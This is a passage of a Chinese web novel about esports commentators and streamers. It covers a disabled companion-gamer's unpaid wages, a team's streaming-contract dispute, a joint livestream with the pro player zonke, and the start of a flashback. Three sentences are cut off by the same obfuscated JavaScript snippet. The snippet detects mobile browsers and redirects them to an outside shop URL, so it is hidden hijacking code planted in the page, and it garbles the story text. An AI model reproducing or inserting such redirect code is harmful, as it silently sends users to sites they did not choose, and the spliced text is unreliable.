【Sakura:主播,我知道找你讨要公道是需要钱的,但是我现在实在没有什么办法了。我是两年前车祸导致残疾,我父母离异,家里还有奶奶要照顾,我没有办法去上班,而且残疾人上班来回非常地不方便导致了我只能在网上挣钱,这是我的残疾证、贫困证、身/份证。】 陆意扬觉得特别割裂。 一个可爱的女生在电脑桌面前可爱的wnik比耶的头像,发过来的却是这样触目惊心的东西。 陆意扬抿了好几次嘴唇,不知道说什么。 【羊崽:我可以帮你讨要一下你的工资,请你把你最近的陪玩单子以及需要给你的钱列成表格发给我。】 【Sakura:谢谢你,主播,稍等,我这边有准备好的。】 接着又发过来拉拉杂杂的一堆表格。 【羊崽:发送给我你跟乐哥的完整聊天记录,要录屏,且录到乐哥的微信,微信号,以及朋友圈,转账实名认证,用来证实他的身份。】 女生也很快的就将视频发了过来。 陆意扬拖进来看完发现没有P图痕迹。 他转头有去看陪玩工会的内部条例,做得非常清晰,基本上就是解释权都在它那边。 陆意扬并不觉得凭自己能把这比钱要回来,哪怕不多,他们也不可能先开这个头。 而且要讨要的成本有点高,经济或者人力都是。 陆意扬又把合同找出来仔细看了一遍。 这合同倒是还说得过去,比较麻烦的是,如果他们察觉到这个陪玩有想要提钱离开的意思,就会找人恶意下单,以完不成出单率,大量的单主投诉,来扣除他很大一部分的陪玩佣金,这一招太恶心了,简直电竞□□吗。 但是后台这些单主的账号非常地不固定,无法扣死就是这个陪玩工会做的。 陆意扬有点迷茫,感觉这件事想要抓起来简直是一个渔网一样漏洞百出,还容易被倒打一耙,毕竟一些稳定的陪玩并不想失去这个工作,陆意扬简直是去砸人家的饭碗。 WATA2本来是有好几个陪玩工会的,但是「星月伴你」这个工会舍得砸钱,重磅宣传,在游戏的各个角落都能看见挂着他们ID的宣传,不少主播,老板,都给它打过广告,渐渐的,这个工会就一枝独秀了。 陆意扬躺在床上,有点睡不着,那个女孩子的证明在他的眼前晃来晃去,他就比这个女孩子稍微好了一点儿,也是一样的处境,没什么能力,还得照顾家里的老人。 【羊崽:[向你转账2202元]】 【Sakura:这么快就给你了吗?】 陆意扬没说话。 【Sakura:请你给我看看乐哥转账给你的截图。】 陆意扬还是没回消息。 【Sakura退回转账。】 【Sakura:谢谢你主播,但是我不需要你给我转账的,如果你能帮我要回来我肯定很高兴,当然我也知道这个可能性很低。】 【Sakura:谢谢,你是好人。】 陆意扬看着好人这两个字发愣。 他不是好人,他狗得要死。 全WATA2都知道他是个老狗逼大喷子,都知道他爱财如命,都知道他根本不管人家前途,不管别人的名声,只要他能挣到钱,他的钱都是踩在别人电竞手的手腕上挣的。 爱要不要,不要拉到。 世界上可怜的人那么多,哪里帮的过来。 陆意扬打算睡觉了。 他睡觉之前看了下自己的微博,「星月伴你」的瓜一直都很多,大家都习惯了,所以哪怕是闹到他的评论区来也没什么人在意,在他跟zonke的邪门cp面前也没什么热度。 他在评论区不小心按到了[最新评论]排序,就发现了一个奇怪的现象。 【好久没玩WATA2,这是哪里冒出来的狗逼?】 【Sakura:请你礼貌用词,不要攻击博主。】 【你的羊\屁股就这么痒吗?】 【Sakura:请你尊重每个人的性取向。】 【这种道德败坏的主播到底怎么火的?】 【Sakura:博主只是跟zonke有一些游戏上的交流,不是道德败坏。】 陆意扬看着她一条一条的回复黑他的恶评,不知道为什么有点看不下去。 他不需要有人来维护他的,尤其是这种根本没有攻击力的女孩子。 一大堆辱骂她的话将她的评论淹没,想都知道她的私信会接受到什么样的炮轰,从她的长相攻击到她的职业,顺便造黄谣。 【羊崽:没必要,早睡觉。】 Sakura没有回复陆意扬的消息,依然孜孜不倦地在那为陆意扬说话。 陆意扬也不管她了,强迫自己开始睡觉,有办法了,打开他要写论文的文献,他不出三秒就可以睡着。 但是不知道为什么就是睡不着,现在已经是晚上12点。 陪玩工会会将自己流水情况放在宣传栏里,用来显示自己的强大的吸金能力。 这样的陪玩平台是需要传媒或者软件服务类的营业执照,在允许经营范围内拥有相关陪玩资质。 在对内条约从也列举了多条不合理不合法的强制要求。 陆意扬一条一条往下滑,能获取到的资料就是:税务是否明朗将是这个陪玩工会的一大问题,但是这事儿又有的是办法避税,连他一个只是游走在直播边缘的人都知道要怎么处理。 包括这个陪玩频道有线下聚会并不存在在经营范围上,他们也可以作后期补充,根本动摇不了什么。但内部不合理要求取证起来非常麻烦且耗时耗力。 怎么看,这都是一个死局。 —— PAX基地。 谈年在赛事表上标注了几处比赛日,鼠标的滚轮在上面停留。 “开个小会。”椰哥拍拍手。 几人往会议室走,B哥问,“椰哥,是不是直播的问题啊?” “嗯。”椰哥说,“我说一下注意事项。” 大屏幕上的合同滚动。 “你们之前在八戒直播的是因为他们上层管理自己问题连累到你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826242|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你们继续播也只不过是让他们多挣钱,且误工费跟底薪的话就是拿不回来了。”椰哥说到这里很不爽,“要不是WATA2统一来做合同,也不会一签就三年,耽误这么久。” 直播平台跟游戏公司是合作的关系,游戏公司跟直播平台签约,带着一批人气主播帮助签约,能让游戏的广告在直播平台长时间占据黄金的广告位,其实也不怪公司要这样,也是宣传部想出来的开源节流的方式。 但是八戒这个平台也是幺蛾子净出,要不说世界就是一个巨大的草台班子呢,八戒为了让游客多消费,出了一些很多类似抽奖的玩法,现在自己也折到这上面去了。 打个比方,游客可以在主播的直播间进行抽奖,2元/次,有几率可以出比较大的礼物,最高的能到上万元。 但是这个几率又不低。 那主播为了吸引游客到自己的直播间来抽奖,就偷偷摸摸暗示大家,大家要是在我的直播间里抽出来1000元的礼物,平台扣除一半,工会跟个税扣除一部分,提成拉到最高的情况下,这个1000元的礼物到主播那里基本就是450,但是主播可以向中奖的玩家私下红包300元,以此来激励游客以小博大。 这个玩法从最开始的□□礼物,到后来的锦鲤池,就是所有人都可以参与抽奖,奖金池子也非常大,然后选1人抽中,当然了,这些玩法常见于一些户外与豪车主播,自然,他们这样约赌/博的方式很快给八戒平台带来了麻烦。 开设|赌|场罪被逮进去,金额累积得有点吓人。 但是八戒并非这样就倒下来了,他手握很多公司与主播的合同,经过一些变更操作之后要求这些主播继续直播。 但是八戒的名气都已经烂成这样了,谁愿意跟他一块进烂泥堆呢,提现都延期,所以各大主播就开始停播了,包括PAX战队的各位。 要离开?赔偿签约费与违约金。 不然,你也在哪里都别想播。 八戒平台的这件事处理起来非常麻烦,导致PAX的这几位近大半年除了打比赛与商务之外没有太多收入,直播有底薪,还有礼物打赏,每天还能跟上班一样兢兢业业地练习,还能活跃于众人眼前,椰哥非常想赶紧处理好这件事。 “你们现在也可以开始在微博多多跟游客粉丝互动了,”椰哥说,“我预计能争取到春季赛季后赛的时候安排你们一块儿复播,你们自己也多注意注意,这次要的还是顶薪的合同,有直播时长的要求,有人气的要求,有超人气的奖励,反正合同是拉满的。” “合同现在还没拿下来,但是WATA2官方跟我们几个俱乐部的也是联名强制退了的,官司还会继续打,不影响你们直播,反正这次的直播平台我们WATA2也是出资了的,其余战队也会选时间复播,我们还是预热一下,不用太着急,会给到最好滚动的广告位跟登录页展示位。” “谢谢椰哥!”小5首先举手鼓掌,吹了一声流氓哨。 “椰哥辛苦。”K哥说道,也拍了两下手。 “又要开始上班,”B哥仰天有点郁闷,“我直播间那些牛鬼蛇神,我都不想看见他们。” “哈哈,你的直播间那是光有人气没有礼物,”小5说,“你怎么集齐他们的?” “话题多人气高。”椰哥觉得B哥真是生来带流量,干点什么都容易让人讨论,这种人在战队里面真是让人无语又让人羡慕,“都给俱乐部省了多少宣传费了。” “对了,小年,你身上没合同压着但是,”椰哥边翻合同边说,“首播流量巨大,还是得选个好日子,我得去庙里算一下,首播想要露出的一些东西得重量级我看看啊....” 听到流量两个字的谈年挑了一下眉,将手机在手心里转,他的手机桌面是一张黑乎乎的图片,大晚上拍的,什么也看不清楚。 29.想超你了 陆意扬早上是被消息的声音震醒的。 【Kate喵喵:小六老师!赶紧起来了!】 【Kate喵喵:别人都已经报名了,你分都不够呢!】 【Kate喵喵:元宝现在给WATA2板面了,好多人直播呢,解说也有,你怎么还在睡觉?】 【Kate喵喵:快点!】 陆意扬眯着一只眼睛去看消息,【啊...起来了。】 他怎么给忘了,椰哥他们去开过会,元宝TV应该要重点扶持自家的WATA2直播了。 陆意扬还没醒,点进去几个直播间,好几个半退役的或者大主播都带着解说。 手机里传来的声音是,“哦,这个中单是吧,是这次的解说了,大家可以给他点点关注,就在贡献榜第一的。” 换一个直播间:“这是我们的漂亮的解说妹子的,大家可以给解说妹子提提意见啊。” 陆意扬又觉得有点完了。 这可怎么比得过啊。 K妹对陆意扬又很好,但她在网上也不常蹭他哥,他哥有时候开着小号带她玩一玩那样,就一部分人知道。 陆意扬抓了抓头发,发现他昨天已经幻想得不知天地为何物了,一觉睡到下午。 他点了个外卖,看了会直播,匆匆对付了一口,就上了游戏。 【6老板:今天你忙吗?】 过了一会儿,小粉丝才回复。 【N:要忙。】 这一会儿K妹都已经追到城镇开陆意扬英雄边上来了。 【Kate喵喵:进房。】 组队进房,大家都开了语音,都有仨人了。 “小六老师,你也开一下直播啊。” “我直播间都没活人的,乱葬岗。”陆意扬说。 “小六老师,不知道为什么我看你就是很熟悉,我个人对你很欣赏,我也说不上来。”K妹说,“但是我总觉得你以后会火遍全WATA。” 陆意扬的眼皮一跳。 “你先开直播吧。”K妹说。 陆意扬的直播账号也是涨了一点点粉丝,实在不多,但是也就这么开吧,总比不开强。 他开完直播就去烧水了,他最近可不能喝送来的碳酸冰饮料,也得少抽烟,要好好的保护自己的嗓子。 陆意扬拎着杯子回来的时候,房间里已经四个人了。 这个[小废5]应该是小5。 这个[大帅B]应该是B哥。 “喂喂?小六老师又见面了啊。”小5跟他打招呼。 “啊...早...中午好。”陆意扬这会儿才认出来,是他们开了小号来,礼貌道,“吃饭了吗?” “刚吃完。”小5说,“今天飞星□□件,K哥送他过去了。” “啊,你们好,你们好,谢谢你们带我上分。”陆意扬说。 “怎么不谢谢我啊。”K妹说,“今天肯定带你上700分。” “hi。” B哥就算打完招呼了。 “你好B哥。”陆意扬说,“我这边开着的直播,但是没人的,介意吗?” “有什么介意的,”B哥冷嗤,“我带个人玩个游戏还要当贼吗?” 陆意扬的直播刚开,在最底下。 陆意扬刚想问,是可以开始玩了吗,只见—— 【PAX-zonke进入了房间。】 陆意扬看见zonke开着大号进来人都麻了。 玩家很多都会模仿大神的名字然后加点字符,在游戏里根本不好认,但是K妹接下来的话却让陆意扬手都抖了。 她说,“哥,你怎么开直播了?” 他这边也收到了推送。 【您关注的主播[PAX-zonke]正在直播...】 啊? zonke的直播间从他成名之后就没开过,但是认证的资料却一应俱全,带着金标的直播名称,资料上详细地显示着他拿过的荣誉,虽然才入行半年但是打的标往下一拉都没有什么头。 接着他改了个标题。 【多多支持。】 陆意扬舔了下嘴唇,手机里的标题要熄灭的那一秒,他鬼使神差地点了进去。 这边的游戏正在排位,或许是几个号的前几期的战力比较高,所以匹配起来比较慢,但是对陆意扬来说是好事,对面的分越高,他这个低分就更能拿到更多的分。 陆意扬静音了手机,在满屏的黑色之后看见了一个少年。 他掰了下摄像头,侧脸露了出来,轻声地问,“这个怎么弄?” 小5滑过去,拿过鼠标就开始设置,“哥,椰哥说了你早就该开直播的呀,等我们干什么。” 听到这句,陆意扬刚刚的紧张开始松了一点儿。 屏幕上铺天盖地的弹幕跟礼物特效让陆意扬仿佛来到了B站。 少年的头像框被缩小,整个游戏页面露了出来。 突然降落的直播直接吸引了大批量的游客前来。 【是PAX全队吗?】 【zonke都开播了,我们家BB是不是也快出狱了!】 【zonke再来一把魔术师。】 【PAX春季赛会换人吗?】 【今年春季赛要是又四强,你去10吧!】 【你也来直播圈钱了?】 ...... 等等弹幕看都看不过来,这时候的直播间的贡献榜跟刷屏一样换。 有路人,粉丝,选手,打广告的,这个直播间很快就冲到了WATA专区的第一,他的头像上戴上了一顶金色的皇冠。 “我看不过来了。”zonke低着头看着直播调试的数据,“试播一下。” 【带的那个妹子是哪个主播?声音很甜。】 【你什么时候拉黑羊崽啊啊啊】 【能不呢别提那个黑子?】 【羊崽保不齐就在这里看着你哦...】 小5看着弹幕说,“我们要赛后才复播,可以帮我们把关注先点上,谢谢大家啦!我哥没合同,就可以先播起来。” “我们今天...”小5犹豫了一下也没说带解说上分。 “就是玩会儿!”小5调整好了,看谈年的眼色,把弹幕助手缩得很小,在他感觉里面,他哥都不会看弹幕这种东西。 无所不能的水友已经将这几个小号都翻了出来。 陆意扬放下了手机,游戏已经排位进去,莫名其妙的他的直播间粉丝量开始涨,但是他也就前面两把能玩得不错,后面的都没眼看,所以也不太清楚要怎么应付了。 游戏开始了,K妹选了个上单,B哥还玩C,小五选了辅助,陆意扬补位了个打野。 可能是因为开着直播,所以大家说话都不如上次那样轻松。 “B哥,你的水友在哥直播间呢,打个招呼。”小5看道。 “跟我有什么关系。”B哥冷声道。 当时陆意扬也看过一场B哥的直播,他点进直播间的时候B哥就在大喊,“骂我的都给我滚,不骂的也给我滚。” 接着又开了一个竞猜,大家可以下注。 他开的竞猜是:「你没键盘」「还是没手」 B哥因为辱骂观众,被封了,一封就是7天。 7天后,接受到了教育被罚了款的B哥没有再骂人,而是设置了[全直播间禁言]模式。 然后挑选顺眼的,封房管,来对骂。 输了的禁言,赢了的踢了。 他挑战了35个粉丝,禁言了17个,踢了17 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836223|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个,剩下那一个只会将B哥的复制黏贴。 但是B哥这个风格还就让他有不断的人气,粘性高得吓人。 被小5说了,他耐着性子跟直播间的人打了个招呼,“嗯嗯嗯行了吧。” 【怎么一见到我们就嗯嗯啊啊的?爽了?】 【B,好久不见,大小便还正常吗[比心]】 B哥没忍住,“去你们吗的,草。” 【BB,开塞露不能涂在嘟嘟嘴唇上哦。】 【坏BB,小嘴巴不可以用来拉屎。】 【B,你没直播的日子我一直在你直播间上坟。】 【身上有牙签,说话就是刺人。】 【想你想你想你想你想你想你BBB想想你想你!】 【B,想说超想你,紧张,打成想超你了,不会介意吧?[玫瑰][玫瑰]】 ..... 那边的B哥疯□□作,死里逃生,对着他水友道,“给我滚行不行?”然后对着视频里人说:“你自己没人气啊?这么要蹭?” 视频里的少年正在喝水,有点笑意,嗯了一声,“蹭一下。” 陆意扬听着好笑,轻松不少,操作着打野坎蒂丝这会儿已经到了十六级。 “来。”zonke点了一下陆意扬的脑袋,接着又发送了「集合推进上路。」 对于B哥的问候也就十几分钟,见他不再回应也就消停了。 注意力被重新拉到游戏跟主播身上。 陆意扬TP落在上路,zonke从河道过来二技能突进了敌方野区,他操作的中单一个W看到敌将露头,陆意扬一个e贴身在zonke身上秒接w让对面减速,zonke绕着视野预判,陆意扬几乎同时扔出技能,人头被陆意扬收入囊中。 zonke还在继续前进,可能是陆意扬的直播间人忽然多了他的眼睛花了,也可能是他昨天用脑过度脑子坏了,他居然出现了一种似乎跟zonke他也能打意打配合的感觉出来。 他是一个残疾人,他的手早就废了。 但是他来不及多想就发送信号,zonke跟他同时追击包抄,上路二塔落地英雄陆意扬一个E贴身平A减速,zonke大招顺利收走人头,前期的塔防打人很痛,小5过来开盾抵挡伤害。 一瓶红药出现在装备栏,来自[PAX-zonke] 他吃完血药,英雄R被动已经叠加到7层,上单理完兵线,对面上路开始集合,小5顶塔将敌方弹起,陆意扬贴技能暴击,zonke一个大招造成成吨伤害,打了个1换3出来。 “等我,我带两个灯再打。”小5道。 陆意扬正在野区商店购物,听见游戏里的zonke说:“他下次的解说是下周三的比赛日,不是我的比赛。” 陆意扬心虚得要死,原地空了个大,我草赶紧切屏,贼溜溜的扫过他手机上的弹幕,但是弹幕太多了根本看不清楚,只有充值了很多元宝的玩家的彩色弹幕才会逗留。 但是上面金灿灿的弹幕停留: 【他这一把切了坎蒂丝视角起码不下20次了。】 【PAX是在预告要换打野吗?】 【感觉K哥要被换了。】 【PAX太子要操控转会期了?】 陆意扬没觉得K哥不适合PAX啊,至少目前。 只听见慢悠悠的声音,“喜欢看他玩,不可以吗。” 【你直接挂血池切坎蒂丝视角直播得了呗。】 【这个坎蒂丝是谁玩的?】 【就是那个解说小六吧?】 【zonke这么关注他吗?】 陆意扬还没完全理解他那话的意思,在一大堆换野的弹幕中精准捕捉到: 【青青草原头上长,大家来找绿羊羊。】 30.今日新星 真的来不及了,陆意扬又要操作游戏,又要偷看弹幕,他的微博后台还在滚动。 但是他自己的直播间弹幕也滚动起来了,虽然他也是见过大场面的,但是这是正经差事啊,又不是羊崽那个叼毛账号。 所以他还是要拿出来一副正人君子的做派。 但是弹幕并不正常。 【绿我羊,你是个什么货色?】 【链接&[WATA春季赛第10日R21vsPAX比赛回放]】 【要不看看长什么样再骂呢。】 【嘶,我感觉羊崽可能长得没这么带劲呢?】 【不早说?】 【zonke有家室了,注意你的行为举止。】 终于来了一个正常人,陆意扬赶紧说:“谢谢你关注我的解说。”但是刚说完才看见他的名字叫:【杀羊屠夫[不收徒]】 陆意扬就不应该相信这个狗游戏上还存在什么单纯的人,全世界的瘪驴跟犊子都汇聚在此地。 B哥发育得差不多了,陆意扬跟他走下路,见人就开,B哥上来输出,一路点塔,对面的反攻并不奏效,这边的三个顶级战队选手打这种分段也是随便虐。 中路开始集合,这把游戏很快在27分钟结束,陆意扬吃了一波大分,只想到了自己的小粉丝可以少打一局。 K妹自己也要上分,立马就开了下一把。 他的好友[N]依然是灰色的掌上WATA2,他还没上游戏。 陆意扬看着自己直播间灰色的[六六的小粉丝]头像,感觉心里有一点空。 他很少有自己直播的时刻,今天他的粉丝涨好几千,但是小粉丝却没看到。 鼠标的光圈点着[六六的小粉丝]头像,陆意扬微不可查地叹了口气。 “嘿!什么意思啊,”小5在游戏里说,“隔壁那个主播好像有大哥刷礼物,我哥怎么排到他后面去了?” 这不是很正常吗? 但是陆意扬在电脑上瞥了一眼,原来他带的是大嘴,礼物也是大嘴刷的。 这钱还能挣回来吗? WPL的解说赛也就350一场啊。 但是来不及想这个,他听见游戏里的zonke说: “比赛输了,没什么好说的。” “没注意你说的选手是哪位。” 陆意扬有不祥的预感。 陆意扬能在手机里同频看到他的直播页面。 小方框的里的zonke除了比赛甚少露面,还是首播,所以来的人非常多。 他在耳麦里的声音比本人听着更疏离一些。 他揉了揉眼睛,小框里的少年在喝水,然后撑着下巴看着弹幕,似笑非笑的。 “他们要抓我,你们应该去跟他们说别抓我,而不是跟我来说别被抓。” “练团?索然无味。” “弹幕过于自我陶醉了。” “我菜,我也不好受。” “退位让贤?都一样菜,别挑了。” “我也才刚来一年而已,不适应不是很正常?” 陆意扬有点不懂,他不是已经改了他那个德行吗? 怎么又开始疯起来了? “PAX比较宽容,允许菜逼有自己的菜法,满意吗?” “嗯,还有什么要问的?” “为什么要带解说玩....” 陆意扬听到这一句的时候心跳都加速了。 “跟他有缘分。” 听到这里陆意扬还轻轻松了口气。 zonke在陆意扬的印象里就是魔童,但是他不直播,似乎大家都忘了很早的时候他还是路人王到处随机找人solo的时候嘴就臭得要死,就是想出名想疯了那种人。 但是在微博上给陆意扬的感觉,他已经成长为一个成熟的职业选手了啊,现在怎么又这样了?他已经替PAX家的椰哥捏一把汗了。 似乎没有人意识到,因为他的狂他又大收了一波礼物,又稳稳地站在WATA2主播第一席位。 弹幕很快又变换了节奏。 【天杀的,我的羊崽是不是被你暗杀了?】 【我键盘上的@键都已经按烂了。】 【@羊崽给爹滚出来,爹知道你在家,不出声是畜生。】 【昨天上线了,没说话就下了。】 陆意扬看着小方框里面的人,他眨了两下眼睛,低头揉着手腕,“小羊...有意思。” 说完他还轻笑了一声。 在陆意扬听来很嘲讽,很轻蔑,好像自己是个上蹿下跳的猴儿。 再加上这一句小羊,好像他是个小羊玩具,被狗叼在嘴里甩的那种。 第二把排进了游戏,陆意扬不能再去看他的煞笔水友发的弹幕了,他们都是小脑萎缩的傻鸟,他现在是解说小六,要把已经在嘴边的一卡车骂人的话都咽下去,他打完游戏之后去微博找他们对线都来得及。 陆意扬这直播间的粉丝不多,他话也不多,就是回复一些游戏上的正经问题。 这次选的这个英雄也是一个刷了10元钱的粉丝点的,说想看教学。 “因为我的队友比较厉害,对面恐怕拖不到后期,所以可以点钱打,”陆意扬把游戏内语音关闭,只有直播间能听见他的声音,他耐心地教学,“因为小5的辅助是四级,看到他点了12技能对点,对面的打野比较脆皮,我接上一个技能小5就能杀他,所以这把不管是队友还是阵容,其实都不太适合教学局,如果我打路人你还来看的话,我可以再打一把这个。” 【这个解说好温柔。】 【游戏里那个女的是你女朋友吗?】 【听说大嘴在自己直播阴阳怪气呢。】 【他没厉害的选手给他带人气当然这样。】 【上次MAY的事情之后好像各大俱乐部都生怕这样的事发生,除了比赛交集最好还是关注自家了。】 【那小六不是zonke首播都给他了?】 【还是本来就有人品问题人家才会这样。WATA官方也没说不让选手跟解说玩吧?】 【但是这群解说哪个身上没点瓜?】 【那解说本就能说会道,事儿多不是很正常?】 【但是zonke的人气是真高啊,我就是他在直播间感觉弹幕太脏了才过来的。】 突然陆意扬在游戏中听见了: “哦。” “知道了。” 然后又听见他接着说,“我下播了,去打野的直播间看吧。” 接着陆意扬手机上的直播戛然而止。 大批量的人涌入了陆意扬的直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848358|190783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 播间,刚刚夸他的零星弹幕还没散去,虽说陆意扬也是身经百战的超级主播了,但是面对这么多人还要装有礼貌的新青年对他来说属实不易。 接着,他又听见游戏里的人说,“弹幕我能看见,各位继续。” 陆意扬的直播间里面分明没有什么礼物,但是此刻,密集的弹幕如过江之鲫,他的小破直播间从WATA2的底层没到十分钟就冲到了直播页面的首页! 第一排... 第三位? 陆意扬看着他的人气,核对了好几次是这是「解说小六」的号,此刻已经挂上了「超级新星」的标识,这标识能开启全方面的推送,都是给贸然大火的直播账号的。 换句话说,他的数据让WATA2后台计算自动给到流量了。 他的粉丝量从最开始2000多到现在已经涨粉到3万+,陆意扬又看了几次他的小粉丝的灰色头像。 他的鼠标在小粉丝的头上瞎点,有点想让他看看,现在自己的直播间也有好多人了。 忽然,他的头像亮起。 接着就是乱七八糟的一通砸礼物,发红包,远超大嘴那边主播人气好几倍。 陆意扬还没反应过来,啊的张了下嘴,“别...” 【N:玩吧。】 “你..你这两天忙吗?”陆意扬问,“这把打完...”我可以过来找你玩。 【N:忙。】 【N:走了。】 陆意扬还没回神,他的头像又灰了。 陆意扬其实也不知道他当时解说了这位粉丝的哪一场比赛,反正这手笔真的都要赶上他的民间大哥了。 他恋恋不舍地看了好几次N的头像,终于回到自己游戏节奏里来。 直播间大部分人都是来看zonke的,陆意扬经常性的都会切zonke的页面,而且他没忘自己的解说身份,在关闭了游戏内的声音继续给大家解说。 “zonke这把玩得这个甄女排位玩得比较少,但是她的二技能大家可以注意一下,可以选择快捷施法,然后长按E技能鼠标滑动可以手速极快的来回E,对面会很容易miss平A,这是打野或者团战时候可以用的一个小技巧。” 陆意扬实在没办法,弹幕里面其实他很难才能找到一条能够回复的。 但是zonke似乎一点儿也没打算管管他的烂摊子,一股脑地就扔给了陆意扬。 陆意扬实在没办法忽视那些一直很长时间停留的弹幕,挑挑拣拣了几个来回答,但是关于zonke的他一律无视。 “我跟PAX也是比较巧,解说完那天在官方遇到他们了。” “嗯,还是跟大嘴老师合作的。” “他们带我上分,应该我请他们吃饭。” “投票还没有开,谢谢大家愿意投票给我。” “季后赛的解说还没有定下来。” “PAX今年春季赛我蛮有信心的。” “排序是按照赛事积分的。” “嗯,有些地方确实解说的一般,还会进步的。” “谢谢大家关注我。” “最喜欢的选手,小5吧,他这把都就救我好几次狗命了。” 陆意扬这句话刚说完,就听见小5的惊叫,“哥!你水翻我键盘上了!这我还怎么玩?” 31.他十八岁 PAX训练基地。 椰哥解开自己的西服纽扣,自以为很潇洒很有气势地一甩。 “你要直播,你提前跟我说,”椰哥在路上就收到了zonke去直播的消息,点进去看了好几次确认自己没看错才开始打电话,“你为什么临时开直播?” “试试。”沙发上的人都还没太清醒,竞人的作息时间非常阴间。 “你首播,你的直播里面需要戴的设备,喝的饮料,包括队服,包括分成,都是需要提前制定好的?先要微博通知,然后官方也会发送,敏感的问题哪些能回答哪些不能,你倒好,上去一顿怼?” “说话不太好听。” “他们说话不好听你第一天知道?你看看你的发言,你第一页第一位,你说的是什么话,你是PAX的门面啊,我跟你说你...”椰哥话还没说完,电话响了。 “你给我老实呆在这!”椰哥留下这句话又在茶水间接电话。 “试播一下而已,看看人气想去定合同嘛,他的合同一直都悬着,”椰哥在那好声好气,“下次肯定让他把椅子的标识露出来,对对对,瞎玩了,但是空降的数据您也看见了,这不比我们预热的什么的有含金量啊,对吧,肯定不会让您后悔选我们PAX的。” 椰哥刚出来,刚要骂人,电话又响了,他翻了个白眼继续接电话,“对对对,是我不周到了,我们的训练室刚换了地方,所以后面的咱们键盘的展示架还没有摆上,我还让人给做了灯带呢,你们的LOGO也得会发光,就这耽误了一点时间,对对对,全员直播的时候肯定弄好。诶诶诶,好的好的。” 椰哥第二次又要出来,电话又跟C4似的炸了。 椰哥拿手指指了指谈年,又开始接电话。 “诶老板,对,小年直播瞎玩,对没跟您打招呼,哦哦哦,你要打赏回头我过来帮你设置,哈哈,是,小孩子说话狂。”椰哥插着兜,避得远了点,“您说的什么话,就是怕官方来罚款,我哪有打压他的呀!” 椰哥把窗帘一拉不让谈年看见,低声说,“不搞我那一套,自由生长,野蛮生长,是是是,不能当电竞机器人,记着呢。” “晚上还有比赛,记得要看啊强哥。” 椰哥第三次出来的时候,谈年都已经回去了。 椰哥也就说谈年两句,实际上他已经看了后台的数据,虽然PAX现在最好的成绩也就是拿了四强,但是因为去年春秋两个赛季PAX的数据实在亮眼,让人忽略了这件事。 他还没有捧杯,但是完全空降的直播数据更有说服力。 如果他捧杯,按照他的相貌,性格,技术,数不清的商业会涌上来,椰哥看着后台数据比他当时收到正规队伍的offer都激动。 但是他也不能上去就跟观众对着磕吧? 当年B哥直播场景还在椰哥面前,但是他看着zonke,怎么就觉得这种场景还要再来一次? 真是想想就让人胆寒,卧龙和凤雏怎么会同时出现? “谈年这个家伙呢!”椰哥叉腰问道。 “他出去了。”小5咬着勺子说,“椰哥,消消气,我们以后懂事了。” “就你小子最乖。”椰哥说,“要是像你这样我多省心。” “是吧,那椰哥我想...” “闭嘴。” 小5被拒绝得很是爽快,原因无他,他想在PAX基地养宠物。 猫,或者狗。 但是谁家电竞基地养宠物啊,几个人活着都完全靠阿姨照顾,虽然小5保证了一万次,但是椰哥还是不同意。 谈年此刻正在车上。 三月尾的沪宁绿化带上都开了一簇一簇的花,现在正是下午四点。 陆意扬的课表上有课,他中午打完游戏应该就去上课了。 从PAX基地到大学区不堵车的时候走高架桥,大约需要25分钟,不用过市区,走外环还算通畅。 陆意扬会在5点左右下课,谈年绕了点路。 还没到鼓山路,已经有了蓝色的围栏将刚刚高架上的花河取代,看不清的只有脚手架与施工队,一个网吧的牌匾被扔在了地上,颇有年代感,叫湖人网吧。 有些未被拆完的房子上还有「浴室」、「钟表店」等手刷标语,几层的脚手架代替了谈年记忆里高大的树木,在五年前,这儿是沪宁最热闹的街道,但是现在已经完全看不出来了。 原来已经有五年了。 ---------- 五年前。 “你这个打火机没有给钱。” 夏日林荫下,柏油路上的小卖部走上去要三个台阶,窗框直接可以递东西出来,歪歪扭扭红色的油漆刷写着「便宜,实惠」,这家小卖部的老板娘回去睡午觉,没什么生意,让一小破孩看店。 “买了两包烟我拿你个打火机都不行?”男人的嗓门很大。 小破孩上了初二,看店已经够用了,客人拿走了防风打火机,这个打火机要卖二元,要是被客人拿走了二伯母肯定又要骂他。 “要二元的,”小破孩趴在窗台上,伸手要拉客人的衣服了,“我送你火柴。” “你这个小孩儿会不会做生意,拿你一个打火机没完没了的,”男人嚼着槟榔,不耐烦地甩手,“还火柴,你卖火柴的小男孩啊你?” “给我拿一包白沙,”另一个客人说道,“多少钱?” 